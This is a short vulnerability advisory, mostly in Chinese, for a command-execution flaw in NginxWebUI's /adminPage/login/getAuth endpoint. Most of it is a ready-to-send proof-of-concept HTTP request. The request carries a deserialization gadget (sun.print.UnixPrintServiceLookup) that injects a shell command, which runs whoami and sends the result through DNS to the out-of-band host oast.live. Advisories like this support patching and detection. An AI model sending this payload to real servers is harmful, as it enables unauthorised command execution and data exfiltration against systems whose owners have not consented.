NginxWebUI /adminPage/login/getAuth 命令执行漏洞

2026-07-24 NginxWebUI PoC Public

Description

NginxWebUI 是一款面向 Nginx 服务管理的 Web 可视化运维工具，提供站点配置、证书管理、反向代理、负载均衡、远程管理和在线发布等功能，常用于服务器 Nginx 配置集中化管理场景。NginxWebUI /adminPage/login/getAuth 接口存在命令执行漏洞，攻击者可通过该接口执行系统命令，获取服务器权限或进一步控制业务系统。

PoC

POST /adminPage/login/getAuth HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 261
Content-Type: application/json
Accept-Encoding: gzip

{
"name": {
    "@type": "sun.print.UnixPrintServiceLookup", 
    "lpcFirstCom": [
        ";ping -nc 2 `whoami`.oast.live;"
        ]
    }
}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# NginxWebUI /adminPage/login/getAuth Command Execution Vulnerability

Related Vulnerabilities